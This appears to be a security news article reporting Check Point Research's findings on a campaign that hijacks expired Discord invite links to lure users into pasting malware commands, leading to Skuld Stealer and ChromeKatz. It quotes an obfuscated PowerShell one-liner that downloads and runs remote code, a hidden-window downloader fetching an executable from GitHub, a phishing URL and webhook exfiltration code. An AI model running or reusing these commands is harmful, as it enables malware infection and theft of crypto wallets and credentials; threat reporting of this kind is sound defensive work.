Recent investigations by Check Point Research have uncovered a sophisticated malware campaign that leverages a subtle but dangerous weakness in Discord’s invitation system.
Cybercriminals are hijacking expired and deleted Discord invite links, including custom (vanity) and standard codes, to redirect unsuspecting users to malicious servers.
This technique is being used as the initial vector in a multi-stage attack chain, which combines social engineering, evasive payload delivery, and persistent malware designed to compromise crypto wallets and fully control victim machines.
Discord, a go-to communication platform for millions, is designed to make creating and sharing invite links easy.
However, this convenience has inadvertently created a security blind spot. Attackers are now targeting Discord invite links shared by legitimate communities on forums, social media, and official channels.
These links, once expired or removed, can be reclaimed particularly custom “vanity” invites by malicious servers that have subscribed to Discord’s premium “Level 3 Boost.”
How the Exploit Works:
https://discord.gg/T8CA7XrKhttps://discord.gg/wAYq5GAsyHhttps://discord.gg/yourvanityInvite Hijack Risk Table:
| Invite Type | Can Be Hijacked? | Explanation |
|---|---|---|
| Temporary Invite Link | Yes | After expiry/deletion, can be re-registered as a vanity invite by another server. |
| Permanent Invite Link | Conditional | Only if deleted and all-lowercase/digits; can be re-registered as a vanity invite. |
| Custom Vanity Invite | Yes (if lost boost) | If the original server loses its boost, the vanity invite can be claimed by others. |
User Mistake:
Users often believe they have made a temporary invite permanent by checking “Set this link to never expire.” However, this does not change the underlying invite code’s expiration; it remains temporary and vulnerable.
Once users land on a malicious Discord server, they are often directed to a “verify” channel controlled by a fake bot. Here, they are prompted to complete a “verification” step, which involves authorizing the bot and being redirected to an external phishing site. For example, the bot “Safeguard#0786” would redirect users to a phishing site like:
texthttps://captchaguard.me/oauth-pass?code=zyA11weHhTZxaY3Fs3EWBg6qfO7t6j
The phishing page mimics Discord’s UI, tricking users into believing they are undergoing a genuine security check. A fake Google CAPTCHA fails to load, prompting users to paste and execute a pre-loaded PowerShell command manually:
powershellpowershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"
This script downloads and executes a PowerShell script from Pastebin, which then uses GitHub to fetch a first-stage downloader (installer.exe). Below is a snippet of the PowerShell script used to download the next stage:
powershellAdd-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("kernel32.dll")]
public static extern IntPtr GetConsoleWindow();
}
"@
$consolePtr = [Win32]::GetConsoleWindow()
[Win32]::ShowWindow($consolePtr, 0) # Hide the console window
$url = "https://github.com/frfs1/update/raw/refs/heads/main/installer.exe"
$exePath = Join-Path $env:TEMP ('installer.exe')
try {
$webClient = New-Object System.Net.WebClient
$webClient.DownloadFile($url, $exePath)
if (-not (Test-Path $exePath) -or ((Get-Item $exePath).length -eq 0)) {
exit 1
}
Start-Process -FilePath $exePath -ArgumentList "-arg1" -NoNewWindow
} catch {
Write-Output "An error occurred"
}
Key Points on the Infection Chain:
The campaign delivers two main payloads:
Skuld Stealer specifically focuses on cryptocurrency wallets (Exodus and Atomic), injecting malicious JavaScript to steal seed phrases and passwords. The stolen data is exfiltrated via Discord webhooks:
goCONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string))
CONFIG["webhook2"] = decryptXOR(CONFIG["webhookencr2"].(string))
// ...standard modules using first webhook...
go mainGowrap1(CONFIG["webhook2"].(string)) // special module for crypto wallet injection
The malware replaces legitimate wallet application files with malicious versions, ensuring that sensitive data is sent to the attacker every time the user interacts with their wallet.
ChromeKatz Bypass:
To bypass Chrome’s App Bound Encryption (ABE), attackers use a customized version of ChromeKatz to steal cookies directly from browser memory, ensuring their effectiveness against the latest browser defenses.
This campaign illustrates how cybercriminals leverage subtle platform features to construct intricate attack chains.
By leveraging trusted services (such as Discord, GitHub, Bitbucket, and Pastebin) and combining social engineering with technical evasion, attackers increase their chances of success.
The abuse of Discord’s invite system is particularly insidious, as it allows criminals to piggyback on the trust users place in established communities.
Mitigation Advice:
Discord has taken action to disable the specific malicious bot involved in this campaign, but the broader vulnerability remains a concern.
As threat actors continually adapt, vigilance and layered security measures are crucial to protect against increasingly sophisticated attacks.
Attackers abused compromised ConnectWise Cloud Backup credentials to access Microsoft 365 customer environments, prompting ConnectWise…
Anthropic says an internal Claude research model reconstructed how the National Security Agency generated seeds…
Two WordPress Core vulnerabilities can be chained to execute remote code without authentication, according to…
A newly disclosed OpenBSD kernel exploitation chain combines a shared memory accounting flaw with a…
GhostAction attackers have expanded their GitHub credential theft campaign with a second stage that disguises…
Indian authorities have warned that SideCopy hackers are targeting Indian organizations, including academic institutions, with…